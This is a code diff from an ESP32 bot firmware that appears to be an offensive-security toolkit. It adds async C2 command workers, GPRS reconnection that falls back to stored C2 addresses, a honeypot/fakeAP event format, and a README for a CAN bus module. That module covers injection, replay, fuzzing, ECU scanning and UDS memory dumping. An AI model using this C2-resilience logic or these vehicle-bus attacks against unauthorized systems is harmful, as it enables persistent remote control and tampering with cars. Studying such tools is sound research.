char buf[128];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"Worker %d stuck: '%s' running for %ds",
|
||||
i, ws->cmd_name ? ws->cmd_name : "?", secs);
|
||||
|
||||
ESP_LOGW(TAG, "%s", buf);
|
||||
msg_error("cmd_async", buf,
|
||||
ws->request_id[0] ? ws->request_id : NULL);
|
||||
|
||||
ws->alerted = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Worker task (multiple instances share the same queue)
|
||||
* ========================================================= */
|
||||
static void async_worker(void *arg)
|
||||
{
|
||||
int worker_id = (int)(intptr_t)arg;
|
||||
worker_state_t *ws = &worker_states[worker_id];
|
||||
async_job_t job;
|
||||
|
||||
while (1) {
|
||||
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
|
||||
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
|
||||
* xQueueReceive copies the struct by value, so the old
|
||||
* pointers (set at enqueue time) are now dangling. */
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
/* Mark worker as busy for watchdog */
|
||||
ws->cmd_name = job.cmd->name;
|
||||
strncpy(ws->request_id, job.request_id, sizeof(ws->request_id) - 1);
|
||||
ws->alerted = false;
|
||||
ws->start_us = esp_timer_get_time();
|
||||
|
||||
ESP_LOGI(TAG, "Worker %d exec: %s", worker_id, job.cmd->name);
|
||||
|
||||
job.cmd->handler(
|
||||
job.argc,
|
||||
job.argv_ptrs,
|
||||
job.request_id[0] ? job.request_id : NULL,
|
||||
job.cmd->ctx
|
||||
);
|
||||
|
||||
/* Mark worker as idle */
|
||||
ws->start_us = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Init async system
|
||||
* ========================================================= */
|
||||
void command_async_init(void)
|
||||
{
|
||||
memset(worker_states, 0, sizeof(worker_states));
|
||||
|
||||
async_queue = xQueueCreate(CONFIG_ASYNC_QUEUE_DEPTH, sizeof(async_job_t));
|
||||
if (!async_queue) {
|
||||
ESP_LOGE(TAG, "Failed to create async queue");
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
|
||||
char name[16];
|
||||
snprintf(name, sizeof(name), "cmd_async_%d", i);
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
async_worker,
|
||||
name,
|
||||
ASYNC_WORKER_STACK,
|
||||
(void *)(intptr_t)i,
|
||||
5,
|
||||
NULL,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create worker %d", i);
|
||||
}
|
||||
}
|
||||
|
||||
/* Watchdog: low priority, small stack, Core 0 */
|
||||
xTaskCreatePinnedToCore(watchdog_task, "cmd_wdog", 2048,
|
||||
NULL, 2, NULL, 0);
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "Async command system ready (%d workers, watchdog on)",
|
||||
CONFIG_ASYNC_WORKER_COUNT);
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Enqueue async command
|
||||
* ========================================================= */
|
||||
void command_async_enqueue(const command_t *cmd,
|
||||
const c2_Command *pb_cmd,
|
||||
int argv_offset)
|
||||
{
|
||||
if (!cmd || !pb_cmd) return;
|
||||
|
||||
async_job_t job = {0};
|
||||
|
||||
job.cmd = cmd;
|
||||
job.argc = pb_cmd->argv_count - argv_offset;
|
||||
if (job.argc > MAX_ASYNC_ARGS)
|
||||
job.argc = MAX_ASYNC_ARGS;
|
||||
if (job.argc < 0)
|
||||
job.argc = 0;
|
||||
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
strncpy(job.argv[i],
|
||||
pb_cmd->argv[i + argv_offset],
|
||||
MAX_ASYNC_ARG_LEN - 1);
|
||||
job.argv[i][MAX_ASYNC_ARG_LEN - 1] = '\0';
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
if (pb_cmd->request_id[0]) {
|
||||
strncpy(job.request_id,
|
||||
pb_cmd->request_id,
|
||||
sizeof(job.request_id) - 1);
|
||||
job.request_id[sizeof(job.request_id) - 1] = '\0';
|
||||
}
|
||||
|
||||
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf), "Async queue full, dropped '%s'",
|
||||
cmd->name);
|
||||
ESP_LOGE(TAG, "%s", buf);
|
||||
msg_error("cmd_async", buf, pb_cmd->request_id);
|
||||
}
|
||||
}
|
||||
@ -18,7 +18,6 @@
|
||||
#include "c2.pb.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "command.h"
|
||||
|
||||
static const char *TAG = "CRYPTO";
|
||||
|
||||
@ -289,7 +288,7 @@ bool c2_decode_and_exec(const char *frame)
|
||||
|
||||
/* Trim CR/LF/spaces at end (SIM800 sometimes adds \r) */
|
||||
char tmp[1024];
|
||||
size_t n = strnlen(frame, sizeof(tmp) - 1);
|
||||
size_t n = strnlen(frame, sizeof(tmp) - 2);
|
||||
memcpy(tmp, frame, n);
|
||||
tmp[n] = '\0';
|
||||
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
|
||||
|
||||
48
espilon_bot/components/core/event_format.h
Normal file
48
espilon_bot/components/core/event_format.h
Normal file
@ -0,0 +1,48 @@
|
||||
/*
|
||||
* event_format.h
|
||||
* Generic wire format for security events (honeypot, fakeAP, etc.).
|
||||
*
|
||||
* Wire format: EVT|<type>|<severity>|<mac>|<ip>:<sport>><dport>|<detail>
|
||||
* Parsed by HpStore.parse_and_store() on the C2 side.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "utils.h"
|
||||
|
||||
/**
|
||||
* Send a security event to the C2 via msg_data().
|
||||
*
|
||||
* @param event_type e.g. "SVC_AUTH_ATTEMPT", "WIFI_PROBE", "PORT_SCAN"
|
||||
* @param severity "LOW", "MEDIUM", "HIGH", "CRITICAL"
|
||||
* @param src_mac "aa:bb:cc:dd:ee:ff" or "00:00:00:00:00:00"
|
||||
* @param src_ip Source IP address
|
||||
* @param src_port Source port (0 if unknown)
|
||||
* @param dst_port Destination port
|
||||
* @param detail Free-form detail, e.g. "user='admin' pass='1234'"
|
||||
* @param request_id NULL or request_id for response routing
|
||||
* @return true on success, false on truncation or send failure
|
||||
*/
|
||||
static inline bool event_send(
|
||||
const char *event_type,
|
||||
const char *severity,
|
||||
const char *src_mac,
|
||||
const char *src_ip,
|
||||
int src_port,
|
||||
int dst_port,
|
||||
const char *detail,
|
||||
const char *request_id
|
||||
) {
|
||||
char buf[256];
|
||||
int len = snprintf(buf, sizeof(buf),
|
||||
"EVT|%s|%s|%s|%s:%d>%d|%s",
|
||||
event_type, severity, src_mac,
|
||||
src_ip, src_port, dst_port,
|
||||
detail ? detail : "");
|
||||
|
||||
if (len <= 0 || len >= (int)sizeof(buf))
|
||||
return false;
|
||||
|
||||
return msg_data("EVT", buf, (size_t)len, true, request_id);
|
||||
}
|
||||
@ -11,10 +11,9 @@
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h" /* CONFIG_*, base64, crypto */
|
||||
#include "command.h" /* process_command */
|
||||
#include "utils.h" /* CONFIG_*, base64, crypto, command */
|
||||
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
|
||||
|
||||
static const char *TAG = "GPRS";
|
||||
|
||||
@ -158,22 +157,19 @@ bool connect_gprs(void)
|
||||
* TCP
|
||||
* ============================================================ */
|
||||
|
||||
bool connect_tcp(void)
|
||||
bool connect_tcp_to(const char *ip, int port)
|
||||
{
|
||||
char buf[BUFF_SIZE];
|
||||
char cmd[128];
|
||||
|
||||
ESP_LOGI(TAG, "TCP connect %s:%d",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
ESP_LOGI(TAG, "TCP connect %s:%d", ip, port);
|
||||
|
||||
send_at_command("AT+CIPMUX=0");
|
||||
at_wait_ok(buf, sizeof(buf), 2000);
|
||||
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"AT+CIPSTART=\"TCP\",\"%s\",\"%d\"",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
ip, port);
|
||||
send_at_command(cmd);
|
||||
|
||||
if (!at_read(buf, sizeof(buf), 15000))
|
||||
@ -188,6 +184,11 @@ bool connect_tcp(void)
|
||||
return false;
|
||||
}
|
||||
|
||||
bool connect_tcp(void)
|
||||
{
|
||||
return connect_tcp_to(CONFIG_SERVER_IP, CONFIG_SERVER_PORT);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* RX HELPERS
|
||||
* ============================================================ */
|
||||
@ -230,10 +231,8 @@ void gprs_rx_poll(void)
|
||||
rx_len += r;
|
||||
rx_buf[rx_len] = '\0';
|
||||
|
||||
ESP_LOGW(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
|
||||
ESP_LOGW(TAG, "----------------------------");
|
||||
ESP_LOGW(TAG, "%s", rx_buf);
|
||||
ESP_LOGW(TAG, "----------------------------");
|
||||
ESP_LOGD(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
|
||||
ESP_LOGD(TAG, "%s", rx_buf);
|
||||
|
||||
/* nettoyer CR/LF */
|
||||
for (size_t i = 0; i < rx_len; i++) {
|
||||
@ -284,33 +283,6 @@ bool gprs_send(const void *buf, size_t len)
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLIENT TASK
|
||||
* ============================================================ */
|
||||
|
||||
void gprs_client_task(void *pvParameters)
|
||||
{
|
||||
ESP_LOGI(TAG, "GPRS client task started");
|
||||
|
||||
while (1) {
|
||||
|
||||
if (!connect_gprs() || !connect_tcp()) {
|
||||
ESP_LOGE(TAG, "Connection failed, retrying...");
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Handshake identique WiFi */
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake sent");
|
||||
|
||||
while (1) {
|
||||
gprs_rx_poll();
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLOSE
|
||||
* ============================================================ */
|
||||
@ -322,4 +294,125 @@ void close_tcp_connection(void)
|
||||
send_at_command("AT+CIPSHUT");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLIENT TASK (GPRS primary mode only)
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
#include "fb_config.h"
|
||||
#include "fb_hunt.h"
|
||||
extern atomic_bool fb_active;
|
||||
|
||||
/* Try NVS C2 fallback addresses over GPRS */
|
||||
static bool try_gprs_fallback_c2s(void)
|
||||
{
|
||||
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
||||
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
|
||||
close_tcp_connection();
|
||||
if (connect_tcp_to(ip_buf, port)) {
|
||||
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
|
||||
void gprs_client_task(void *pvParameters)
|
||||
{
|
||||
ESP_LOGI(TAG, "GPRS client task started");
|
||||
|
||||
int tcp_fail_count = 0;
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
int gprs_dead_count = 0;
|
||||
#endif
|
||||
|
||||
while (1) {
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
/* If fallback hunt is active, wait for it to finish */
|
||||
while (fb_active) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
#endif
|
||||
|
||||
/* GPRS attach */
|
||||
if (!connect_gprs()) {
|
||||
ESP_LOGE(TAG, "GPRS connection failed");
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
gprs_dead_count++;
|
||||
ESP_LOGW(TAG, "GPRS dead count: %d/%d",
|
||||
gprs_dead_count, CONFIG_FB_GPRS_FAIL_THRESHOLD);
|
||||
if (gprs_dead_count >= CONFIG_FB_GPRS_FAIL_THRESHOLD) {
|
||||
ESP_LOGW(TAG, "GPRS dead — triggering WiFi fallback hunt");
|
||||
fb_hunt_set_skip_gprs(true);
|
||||
fb_hunt_trigger();
|
||||
gprs_dead_count = 0;
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
setup_modem();
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
continue;
|
||||
}
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
gprs_dead_count = 0;
|
||||
#endif
|
||||
|
||||
/* TCP connect to C2 */
|
||||
if (!connect_tcp()) {
|
||||
tcp_fail_count++;
|
||||
ESP_LOGW(TAG, "TCP connect failed (%d consecutive)", tcp_fail_count);
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD) {
|
||||
/* Level 1: try NVS C2 fallback addresses over GPRS */
|
||||
if (try_gprs_fallback_c2s()) {
|
||||
tcp_fail_count = 0;
|
||||
goto handshake;
|
||||
}
|
||||
/* Modem restart */
|
||||
ESP_LOGW(TAG, "All C2 unreachable — modem restart");
|
||||
close_tcp_connection();
|
||||
setup_modem();
|
||||
tcp_fail_count = 0;
|
||||
}
|
||||
#endif
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
continue;
|
||||
}
|
||||
tcp_fail_count = 0;
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
handshake:
|
||||
#endif
|
||||
/* Handshake */
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake sent");
|
||||
|
||||
while (1) {
|
||||
gprs_rx_poll();
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_NETWORK_GPRS */
|
||||
|
||||
#endif /* CONFIG_NETWORK_GPRS || CONFIG_FB_GPRS_FALLBACK */
|
||||
|
||||
@ -38,7 +38,13 @@ extern SemaphoreHandle_t sock_mutex;
|
||||
while (len > 0) {
|
||||
int sent = lwip_write(current_sock, p, len);
|
||||
if (sent <= 0) {
|
||||
ESP_LOGE(TAG, "lwip_write failed");
|
||||
ESP_LOGE(TAG, "lwip_write failed, disconnecting");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
if (sock == current_sock) {
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
}
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return false;
|
||||
}
|
||||
p += sent;
|
||||
|
||||
@ -23,7 +23,7 @@ typedef struct _c2_Command {
|
||||
char device_id[64];
|
||||
char command_name[32];
|
||||
pb_size_t argv_count;
|
||||
char argv[8][64];
|
||||
char argv[8][256];
|
||||
char request_id[64];
|
||||
} c2_Command;
|
||||
|
||||
@ -98,7 +98,7 @@ extern const pb_msgdesc_t c2_AgentMessage_msg;
|
||||
/* Maximum encoded size of messages (where known) */
|
||||
#define C2_PROTO_C2_PB_H_MAX_SIZE c2_Command_size
|
||||
#define c2_AgentMessage_size 426
|
||||
#define c2_Command_size 683
|
||||
#define c2_Command_size 2227
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
|
||||
@ -1,7 +1,6 @@
|
||||
#include <string.h>
|
||||
|
||||
#include "c2.pb.h"
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
|
||||
@ -13,6 +13,7 @@ extern "C" {
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_err.h"
|
||||
|
||||
/* >>> CRITIQUE <<< */
|
||||
#include "c2.pb.h" /* c2_Command, c2_AgentMsgType */
|
||||
@ -149,42 +150,89 @@ void process_command_from_buffer(
|
||||
size_t len
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRY & DISPATCH
|
||||
* ============================================================ */
|
||||
|
||||
#define MAX_COMMANDS 72
|
||||
#define MAX_ASYNC_ARGS 8
|
||||
#define MAX_ASYNC_ARG_LEN 64
|
||||
|
||||
typedef esp_err_t (*command_handler_t)(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *request_id,
|
||||
void *ctx
|
||||
);
|
||||
|
||||
typedef struct {
|
||||
const char *name;
|
||||
const char *sub;
|
||||
const char *help;
|
||||
int min_args;
|
||||
int max_args;
|
||||
command_handler_t handler;
|
||||
void *ctx;
|
||||
bool async;
|
||||
} command_t;
|
||||
|
||||
void command_register(const command_t *cmd);
|
||||
void command_log_registry_summary(void);
|
||||
void command_process_pb(const c2_Command *cmd);
|
||||
void command_async_init(void);
|
||||
void command_async_enqueue(const command_t *cmd, const c2_Command *pb_cmd, int argv_offset);
|
||||
|
||||
/* ============================================================
|
||||
* WIFI
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
void wifi_init(void);
|
||||
void tcp_client_task(void *pvParameters);
|
||||
void wifi_pause_reconnect(void);
|
||||
void wifi_resume_reconnect(void);
|
||||
#endif
|
||||
|
||||
/* Fallback: when true, WiFi.c skips its own reconnect logic */
|
||||
#include <stdatomic.h>
|
||||
extern atomic_bool fb_active;
|
||||
|
||||
/* FakeAP: when true, WiFi.c skips reconnect to avoid interference */
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
extern atomic_bool fakeap_active;
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* GPRS
|
||||
* ============================================================ */
|
||||
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
|
||||
#define BUFF_SIZE 1024
|
||||
#define UART_NUM UART_NUM_1
|
||||
#define TXD_PIN 27
|
||||
#define RXD_PIN 26
|
||||
#define PWR_KEY 4
|
||||
#define PWR_EN 23
|
||||
#define RESET 5
|
||||
#define LED_GPIO 13
|
||||
#define TXD_PIN CONFIG_GPRS_TXD_PIN
|
||||
#define RXD_PIN CONFIG_GPRS_RXD_PIN
|
||||
#define PWR_KEY CONFIG_GPRS_PWR_KEY
|
||||
#define PWR_EN CONFIG_GPRS_PWR_EN
|
||||
#define RESET CONFIG_GPRS_RESET_PIN
|
||||
#define LED_GPIO CONFIG_GPRS_LED_GPIO
|
||||
|
||||
void setup_uart(void);
|
||||
void setup_modem(void);
|
||||
|
||||
bool connect_gprs(void);
|
||||
bool connect_tcp(void);
|
||||
bool connect_tcp_to(const char *ip, int port);
|
||||
|
||||
bool gprs_send(const void *buf, size_t len);
|
||||
void gprs_rx_poll(void);
|
||||
void close_tcp_connection(void);
|
||||
|
||||
void gprs_client_task(void *pvParameters);
|
||||
void send_at_command(const char *cmd);
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
void gprs_client_task(void *pvParameters);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
|
||||
27
espilon_bot/components/mod_canbus/CMakeLists.txt
Normal file
27
espilon_bot/components/mod_canbus/CMakeLists.txt
Normal file
@ -0,0 +1,27 @@
|
||||
set(CANBUS_SRCS
|
||||
cmd_canbus.c
|
||||
canbus_driver.c
|
||||
canbus_config.c
|
||||
)
|
||||
|
||||
if(CONFIG_CANBUS_ISO_TP)
|
||||
list(APPEND CANBUS_SRCS canbus_isotp.c)
|
||||
endif()
|
||||
|
||||
if(CONFIG_CANBUS_UDS)
|
||||
list(APPEND CANBUS_SRCS canbus_uds.c)
|
||||
endif()
|
||||
|
||||
if(CONFIG_CANBUS_OBD)
|
||||
list(APPEND CANBUS_SRCS canbus_obd.c)
|
||||
endif()
|
||||
|
||||
if(CONFIG_CANBUS_FUZZ)
|
||||
list(APPEND CANBUS_SRCS canbus_fuzz.c)
|
||||
endif()
|
||||
|
||||
idf_component_register(
|
||||
SRCS ${CANBUS_SRCS}
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core nvs_flash freertos driver
|
||||
)
|
||||
341
espilon_bot/components/mod_canbus/README.md
Normal file
341
espilon_bot/components/mod_canbus/README.md
Normal file
@ -0,0 +1,341 @@
|
||||
# CAN Bus Module (mod_canbus)
|
||||
|
||||
Automotive CAN bus offensive module for Espilon, built on the **MCP2515** SPI controller. Supports passive sniffing, frame injection, ISO-TP transport, UDS diagnostics, OBD-II decoding, fuzzing, and replay.
|
||||
|
||||
> **Authorization required**: CAN bus interaction with vehicles must be performed only on owned hardware or with explicit written authorization. Unauthorized access to vehicle networks is illegal.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Hardware Requirements](#hardware-requirements)
|
||||
- [Wiring](#wiring)
|
||||
- [Configuration](#configuration)
|
||||
- [Architecture](#architecture)
|
||||
- [Commands Reference](#commands-reference)
|
||||
- [Core Commands](#core-commands)
|
||||
- [UDS Diagnostic Commands](#uds-diagnostic-commands)
|
||||
- [OBD-II Commands](#obd-ii-commands)
|
||||
- [Fuzzing Commands](#fuzzing-commands)
|
||||
- [Frame Format](#frame-format)
|
||||
- [C3PO Integration](#c3po-integration)
|
||||
- [Usage Examples](#usage-examples)
|
||||
- [Troubleshooting](#troubleshooting)
|
||||
|
||||
---
|
||||
|
||||
## Hardware Requirements
|
||||
|
||||
| Component | Role | Cost |
|
||||
|-----------|------|------|
|
||||
| **MCP2515 module** | CAN 2.0B controller + TJA1050 transceiver | ~3 EUR |
|
||||
| **ESP32** | Main MCU (any variant with SPI) | ~5 EUR |
|
||||
|
||||
Most MCP2515 modules sold online already integrate the TJA1050 CAN transceiver. Check the oscillator crystal on your module — common values are **8 MHz** and **16 MHz** (must match Kconfig `CANBUS_OSC_MHZ`).
|
||||
|
||||
---
|
||||
|
||||
## Wiring
|
||||
|
||||
Default GPIO mapping (configurable via `idf.py menuconfig`):
|
||||
|
||||
```
|
||||
MCP2515 Module ESP32 (VSPI)
|
||||
────────────── ────────────
|
||||
VCC → 3.3V
|
||||
GND → GND
|
||||
CS → GPIO 5
|
||||
MOSI (SI) → GPIO 23
|
||||
MISO (SO) → GPIO 19
|
||||
SCK → GPIO 18
|
||||
INT → GPIO 4 (active low)
|
||||
```
|
||||
|
||||
Connect **CAN_H** and **CAN_L** on the MCP2515 module to the target CAN bus. For OBD-II: pin 6 (CAN_H) and pin 14 (CAN_L).
|
||||
|
||||
---
|
||||
|
||||
## Configuration
|
||||
|
||||
Enable the module in `idf.py menuconfig` under **Modules > CAN Bus Module (MCP2515)**.
|
||||
|
||||
### Kconfig Options
|
||||
|
||||
| Option | Default | Description |
|
||||
|--------|---------|-------------|
|
||||
| `CONFIG_MODULE_CANBUS` | n | Enable the CAN bus module |
|
||||
| `CANBUS_SPI_HOST` | 3 (VSPI) | SPI host: 2=HSPI, 3=VSPI |
|
||||
| `CANBUS_PIN_MOSI` | 23 | SPI MOSI GPIO |
|
||||
| `CANBUS_PIN_MISO` | 19 | SPI MISO GPIO |
|
||||
| `CANBUS_PIN_SCK` | 18 | SPI SCK GPIO |
|
||||
| `CANBUS_PIN_CS` | 5 | SPI Chip Select GPIO |
|
||||
| `CANBUS_PIN_INT` | 4 | MCP2515 interrupt GPIO (active low) |
|
||||
| `CANBUS_OSC_MHZ` | 8 | Oscillator frequency on MCP2515 module |
|
||||
| `CANBUS_DEFAULT_BITRATE` | 500000 | Default bus speed (bps) |
|
||||
| `CANBUS_SPI_CLOCK_HZ` | 10000000 | SPI clock (max 10 MHz) |
|
||||
| `CANBUS_RECORD_BUFFER` | 512 | Frame ring buffer size (64-2048) |
|
||||
| `CANBUS_ISO_TP` | y | ISO-TP transport layer (required for UDS/OBD) |
|
||||
| `CANBUS_UDS` | y | UDS diagnostic services (requires ISO-TP) |
|
||||
| `CANBUS_OBD` | y | OBD-II PID decoder (requires ISO-TP) |
|
||||
| `CANBUS_FUZZ` | y | CAN fuzzing engine |
|
||||
|
||||
### Supported Bitrates
|
||||
|
||||
| Bitrate | Use Case | 8 MHz | 16 MHz |
|
||||
|---------|----------|-------|--------|
|
||||
| 1 Mbps | High-speed CAN | - | Yes |
|
||||
| 500 kbps | Standard automotive | Yes | Yes |
|
||||
| 250 kbps | J1939 (trucks) | Yes | Yes |
|
||||
| 125 kbps | Low-speed CAN | Yes | Yes |
|
||||
| 100 kbps | Diagnostic | Yes | Yes |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ cmd_canbus.c — C2 command handlers (27 cmds)│
|
||||
│ ↕ │
|
||||
│ canbus_uds.c — UDS (ISO 14229) services │
|
||||
│ canbus_obd.c — OBD-II PID decoder │
|
||||
│ canbus_fuzz.c — Fuzzing engine │
|
||||
│ ↕ │
|
||||
│ canbus_isotp.c — ISO-TP (ISO 15765-2) │
|
||||
│ ↕ │
|
||||
│ canbus_driver.c — MCP2515 SPI driver + RX task │
|
||||
│ ↕ │
|
||||
│ canbus_config.c — NVS persistence │
|
||||
│ ↕ │
|
||||
│ ESP-IDF SPI Master — Hardware SPI bus │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### File Manifest
|
||||
|
||||
| File | Lines | Layer |
|
||||
|------|-------|-------|
|
||||
| `canbus_driver.c/.h` | ~920 | MCP2515 SPI + RX/TX + ISR |
|
||||
| `canbus_isotp.c/.h` | ~480 | Multi-frame CAN transport |
|
||||
| `canbus_uds.c/.h` | ~440 | Automotive diagnostics |
|
||||
| `canbus_obd.c/.h` | ~390 | OBD-II PID decode |
|
||||
| `canbus_fuzz.c/.h` | ~390 | Fuzz testing engine |
|
||||
| `canbus_config.c/.h` | ~360 | NVS persistence |
|
||||
| `cmd_canbus.c/.h` | ~1360 | Command handlers + registration |
|
||||
| **Total** | **~4350** | |
|
||||
|
||||
### NVS Persistence
|
||||
|
||||
Namespace: `"can_cfg"`
|
||||
|
||||
| Key | Type | Content |
|
||||
|-----|------|---------|
|
||||
| `bitrate` | i32 | Saved CAN speed |
|
||||
| `osc_mhz` | u8 | Oscillator frequency |
|
||||
| `sw_filters` | blob | Up to 16 software filter IDs |
|
||||
| `ecus` | blob | Discovered UDS ECU IDs |
|
||||
|
||||
---
|
||||
|
||||
## Commands Reference
|
||||
|
||||
### Core Commands
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_start [bitrate] [mode]` | 0-2 | No | Init MCP2515, start bus. Mode: `normal` (default), `listen`, `loopback` |
|
||||
| `can_stop` | 0 | No | Stop bus, set MCP2515 to config mode |
|
||||
| `can_send <id_hex> <data_hex>` | 2 | No | Send a single frame. Ex: `can_send 0x7DF 0201000000000000` |
|
||||
| `can_filter_add <id_hex>` | 1 | No | Add software filter (pass only matching IDs) |
|
||||
| `can_filter_del <id_hex>` | 1 | No | Remove a software filter |
|
||||
| `can_filter_list` | 0 | No | List active software filters |
|
||||
| `can_filter_clear` | 0 | No | Clear all filters (accept everything) |
|
||||
| `can_status` | 0 | No | Show bus state, config, RX/TX counters, error counters |
|
||||
| `can_sniff [duration_s]` | 0-1 | **Yes** | Stream frames to C2 for N seconds (default: 10) |
|
||||
| `can_record [duration_s]` | 0-1 | **Yes** | Record to local ring buffer for N seconds (default: 10) |
|
||||
| `can_dump` | 0 | **Yes** | Send recorded buffer to C2 |
|
||||
| `can_replay [speed_pct]` | 0-1 | **Yes** | Replay recorded buffer. 100=real-time, 0=max speed |
|
||||
|
||||
### UDS Diagnostic Commands
|
||||
|
||||
*Requires `CONFIG_CANBUS_UDS=y` (depends on ISO-TP)*
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_scan_ecu` | 0 | **Yes** | Discover ECUs: scans 0x7E0-0x7E7, 0x700-0x7DF |
|
||||
| `can_uds <tx_id> <service_hex> [data_hex]` | 2-3 | **Yes** | Raw UDS request |
|
||||
| `can_uds_session <tx_id> <type>` | 2 | No | DiagnosticSessionControl (1=default, 2=prog, 3=extended) |
|
||||
| `can_uds_read <tx_id> <did_hex>` | 2 | **Yes** | ReadDataByIdentifier |
|
||||
| `can_uds_dump <tx_id> <addr_hex> <size>` | 3 | **Yes** | ReadMemoryByAddress (streamed) |
|
||||
| `can_uds_auth <tx_id> [level]` | 1-2 | **Yes** | SecurityAccess seed request |
|
||||
|
||||
### OBD-II Commands
|
||||
|
||||
